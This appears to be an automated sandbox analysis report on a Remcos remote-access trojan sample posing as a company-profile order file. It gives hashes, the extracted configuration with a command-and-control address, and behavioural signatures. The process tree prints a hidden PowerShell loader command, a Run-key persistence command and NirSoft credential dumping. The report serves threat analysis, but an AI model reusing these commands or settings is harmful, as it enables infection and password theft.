Analysis
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max time kernel
149s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
04-12-2024 05:39
Static task
static1
Behavioral task
behavioral1
Sample
CompanyProfileandneworder-202401127.scr.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
CompanyProfileandneworder-202401127.scr.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral3
Sample
Burglarproofs/bordskaaneren.ps1
Resource
win7-20241010-en
Behavioral task
behavioral4
Sample
Burglarproofs/bordskaaneren.ps1
Resource
win10v2004-20241007-en
General
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Target
CompanyProfileandneworder-202401127.scr.exe
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Size
779KB
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MD5
935bdb714d2c6a118e9c6bfd941084b8
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SHA1
817f3f195d61d459fbbdac24e5a4f014d927edcf
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SHA256
c69b2064c89c254dbeda8f204b3a60ab753816ddff618be9d593cb9839cfe09d
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SHA512
6915674b2cf0bbc300f18dc26fd983bb69d5ddf8ec7d00831915ae6d5602d0b770d5e785ab8b0d33b9e0c353773e2777273ff6e8383d7332a54fe2440976ede4
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SSDEEP
12288:XXa6zw6GW2F+5XizizdI+9kUWM6vQWO0v1wb1EVLz56TE/n0koAHf9qo05bWYpD/:XXal655XEIimkUd0dPpL04/9X05bj
Malware Config
Extracted
remcos
RemoteHost
185.29.10.213:63650
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audio_folder
MicRecords
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audio_path
ApplicationPath
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audio_record_time
5
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connect_delay
0
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connect_interval
1
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copy_file
remcos.exe
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copy_folder
Remcos
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delete_file
false
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hide_file
false
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hide_keylog_file
false
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install_flag
false
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keylog_crypt
false
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keylog_file
logs.dat
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keylog_flag
false
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keylog_folder
remcos
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mouse_option
false
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mutex
Rmc-NJ8CFR
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screenshot_crypt
false
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screenshot_flag
false
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screenshot_folder
Screenshots
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screenshot_path
%AppData%
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screenshot_time
10
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take_screenshot_option
false
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take_screenshot_time
5
Signatures
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Remcos family
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Detected Nirsoft tools 3 IoCs
Free utilities often used by attackers which can steal passwords, product keys, etc.
Processes:
resource yara_rule behavioral2/memory/3312-86-0x0000000000400000-0x0000000000478000-memory.dmp Nirsoft behavioral2/memory/3532-85-0x0000000000400000-0x0000000000462000-memory.dmp Nirsoft behavioral2/memory/4724-92-0x0000000000400000-0x0000000000424000-memory.dmp Nirsoft -
NirSoft MailPassView 1 IoCs
Password recovery tool for various email clients
Processes:
resource yara_rule behavioral2/memory/3532-85-0x0000000000400000-0x0000000000462000-memory.dmp MailPassView -
NirSoft WebBrowserPassView 1 IoCs
Password recovery tool for various web browsers
Processes:
resource yara_rule behavioral2/memory/3312-86-0x0000000000400000-0x0000000000478000-memory.dmp WebBrowserPassView -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
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Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
Processes:
msiexec.exedescription ioc Process Key opened \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts msiexec.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
reg.exedescription ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Loaded = "%Salutbatteriernes% -windowstyle 1 $Psammous=(gp -Path 'HKCU:\\Software\\Absinthium\\').Emulsifiable;%Salutbatteriernes% ($Psammous)" reg.exe -
Blocklisted process makes network request 6 IoCs
Processes:
msiexec.exeflow pid Process 21 3132 msiexec.exe 23 3132 msiexec.exe 25 3132 msiexec.exe 28 3132 msiexec.exe 31 3132 msiexec.exe 34 3132 msiexec.exe -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
Processes:
msiexec.exepid Process 3132 msiexec.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
powershell.exemsiexec.exepid Process 5112 powershell.exe 3132 msiexec.exe -
Suspicious use of SetThreadContext 3 IoCs
Processes:
msiexec.exedescription pid Process procid_target PID 3132 set thread context of 3312 3132 msiexec.exe 105 PID 3132 set thread context of 3532 3132 msiexec.exe 106 PID 3132 set thread context of 4724 3132 msiexec.exe 107 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 8 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
msiexec.exemsiexec.exemsiexec.exeCompanyProfileandneworder-202401127.scr.exepowershell.exemsiexec.execmd.exereg.exedescription ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language CompanyProfileandneworder-202401127.scr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe -
Modifies registry key 1 TTPs 1 IoCs
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Suspicious behavior: EnumeratesProcesses 15 IoCs
Processes:
powershell.exemsiexec.exemsiexec.exepid Process 5112 powershell.exe 5112 powershell.exe 5112 powershell.exe 5112 powershell.exe 5112 powershell.exe 5112 powershell.exe 5112 powershell.exe 5112 powershell.exe 5112 powershell.exe 3312 msiexec.exe 3312 msiexec.exe 4724 msiexec.exe 4724 msiexec.exe 3312 msiexec.exe 3312 msiexec.exe -
Suspicious behavior: MapViewOfSection 6 IoCs
Processes:
powershell.exemsiexec.exepid Process 5112 powershell.exe 3132 msiexec.exe 3132 msiexec.exe 3132 msiexec.exe 3132 msiexec.exe 3132 msiexec.exe -
Suspicious use of AdjustPrivilegeToken 23 IoCs
Processes:
powershell.exemsiexec.exedescription pid Process Token: SeDebugPrivilege 5112 powershell.exe Token: SeIncreaseQuotaPrivilege 5112 powershell.exe Token: SeSecurityPrivilege 5112 powershell.exe Token: SeTakeOwnershipPrivilege 5112 powershell.exe Token: SeLoadDriverPrivilege 5112 powershell.exe Token: SeSystemProfilePrivilege 5112 powershell.exe Token: SeSystemtimePrivilege 5112 powershell.exe Token: SeProfSingleProcessPrivilege 5112 powershell.exe Token: SeIncBasePriorityPrivilege 5112 powershell.exe Token: SeCreatePagefilePrivilege 5112 powershell.exe Token: SeBackupPrivilege 5112 powershell.exe Token: SeRestorePrivilege 5112 powershell.exe Token: SeShutdownPrivilege 5112 powershell.exe Token: SeDebugPrivilege 5112 powershell.exe Token: SeSystemEnvironmentPrivilege 5112 powershell.exe Token: SeRemoteShutdownPrivilege 5112 powershell.exe Token: SeUndockPrivilege 5112 powershell.exe Token: SeManageVolumePrivilege 5112 powershell.exe Token: 33 5112 powershell.exe Token: 34 5112 powershell.exe Token: 35 5112 powershell.exe Token: 36 5112 powershell.exe Token: SeDebugPrivilege 4724 msiexec.exe -
Suspicious use of WriteProcessMemory 31 IoCs
Processes:
CompanyProfileandneworder-202401127.scr.exepowershell.exemsiexec.execmd.exedescription pid Process procid_target PID 4972 wrote to memory of 5112 4972 CompanyProfileandneworder-202401127.scr.exe 83 PID 4972 wrote to memory of 5112 4972 CompanyProfileandneworder-202401127.scr.exe 83 PID 4972 wrote to memory of 5112 4972 CompanyProfileandneworder-202401127.scr.exe 83 PID 5112 wrote to memory of 3132 5112 powershell.exe 94 PID 5112 wrote to memory of 3132 5112 powershell.exe 94 PID 5112 wrote to memory of 3132 5112 powershell.exe 94 PID 5112 wrote to memory of 3132 5112 powershell.exe 94 PID 3132 wrote to memory of 3480 3132 msiexec.exe 98 PID 3132 wrote to memory of 3480 3132 msiexec.exe 98 PID 3132 wrote to memory of 3480 3132 msiexec.exe 98 PID 3480 wrote to memory of 1832 3480 cmd.exe 101 PID 3480 wrote to memory of 1832 3480 cmd.exe 101 PID 3480 wrote to memory of 1832 3480 cmd.exe 101 PID 3132 wrote to memory of 1836 3132 msiexec.exe 103 PID 3132 wrote to memory of 1836 3132 msiexec.exe 103 PID 3132 wrote to memory of 1836 3132 msiexec.exe 103 PID 3132 wrote to memory of 2036 3132 msiexec.exe 104 PID 3132 wrote to memory of 2036 3132 msiexec.exe 104 PID 3132 wrote to memory of 2036 3132 msiexec.exe 104 PID 3132 wrote to memory of 3312 3132 msiexec.exe 105 PID 3132 wrote to memory of 3312 3132 msiexec.exe 105 PID 3132 wrote to memory of 3312 3132 msiexec.exe 105 PID 3132 wrote to memory of 3312 3132 msiexec.exe 105 PID 3132 wrote to memory of 3532 3132 msiexec.exe 106 PID 3132 wrote to memory of 3532 3132 msiexec.exe 106 PID 3132 wrote to memory of 3532 3132 msiexec.exe 106 PID 3132 wrote to memory of 3532 3132 msiexec.exe 106 PID 3132 wrote to memory of 4724 3132 msiexec.exe 107 PID 3132 wrote to memory of 4724 3132 msiexec.exe 107 PID 3132 wrote to memory of 4724 3132 msiexec.exe 107 PID 3132 wrote to memory of 4724 3132 msiexec.exe 107
Processes
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C:\Users\Admin\AppData\Local\Temp\CompanyProfileandneworder-202401127.scr.exe"C:\Users\Admin\AppData\Local\Temp\CompanyProfileandneworder-202401127.scr.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4972 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "$Vagtselskabets=Get-Content -Raw 'C:\Users\Admin\AppData\Local\Temp\nonopposable\ff4\Burglarproofs\bordskaaneren.Exp';$wullawins=$Vagtselskabets.SubString(21189,3);.$wullawins($Vagtselskabets)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5112 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:3132 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Loaded" /t REG_EXPAND_SZ /d "%Salutbatteriernes% -windowstyle 1 $Psammous=(gp -Path 'HKCU:\Software\Absinthium\').Emulsifiable;%Salutbatteriernes% ($Psammous)"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3480 -
C:\Windows\SysWOW64\reg.exeREG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Loaded" /t REG_EXPAND_SZ /d "%Salutbatteriernes% -windowstyle 1 $Psammous=(gp -Path 'HKCU:\Software\Absinthium\').Emulsifiable;%Salutbatteriernes% ($Psammous)"5⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Modifies registry key
PID:1832
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C:\Windows\SysWOW64\msiexec.exeC:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\gyisxws"4⤵PID:1836
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C:\Windows\SysWOW64\msiexec.exeC:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\gyisxws"4⤵PID:2036
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C:\Windows\SysWOW64\msiexec.exeC:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\gyisxws"4⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:3312
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C:\Windows\SysWOW64\msiexec.exeC:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\jsvlyodjpa"4⤵
- Accesses Microsoft Outlook accounts
- System Location Discovery: System Language Discovery
PID:3532
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C:\Windows\SysWOW64\msiexec.exeC:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\tnavzhvddicgv"4⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4724
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
4KB
MD5c3c5f2de99b7486f697634681e21bab0
SHA100f90d495c0b2b63fde6532e033fdd2ade25633d
SHA25676296dc29f718988107d35d0e0b835c2bf3fc7405e79e5121aa4738f82b51582
SHA5127c60ffdc093de30e793d20768877f2f586bee3e948767871f9a1139252d5d2f593ba6f88ce0ed5f72c79faddb26186792df0581e4b6c84d405c44d9d12f951b8
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Filesize
55KB
MD5755fb54225dd285b06c369a2f5e58082
SHA1f87f62424d1e437c7bd3b8c5fad3ed40269f140a
SHA25681e5c8c7b98950c580ef3681dca6bfb2729cc82e862dabc118a53442c4c96bc1
SHA5124efea102c5076a541f96a788d88dc550195abc0a464b0d36638a8502836077f9c02e0a636c1f9654c693a7c853df0e6b99eaf6f0d4e5ffb0f81ae64690b3c915
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Filesize
358KB
MD5d1e068d6f404618fb2865467ca5a6c8a
SHA1ea38b343ca3cc8669a1201977f453e3d59bbd904
SHA2564d22f5607f2c5579e7296ad7c71ae84de5af8bda148b653e99fc5cffef569136
SHA5125a4c72ee6ccdc80fc0815ee9f68bfd93e22f9fd891cb5a60d843b8318ae9c538a6ce9c3aa18ee3017a1ee615ed2e485d07bd722ccc91b200baeff02254f85ffd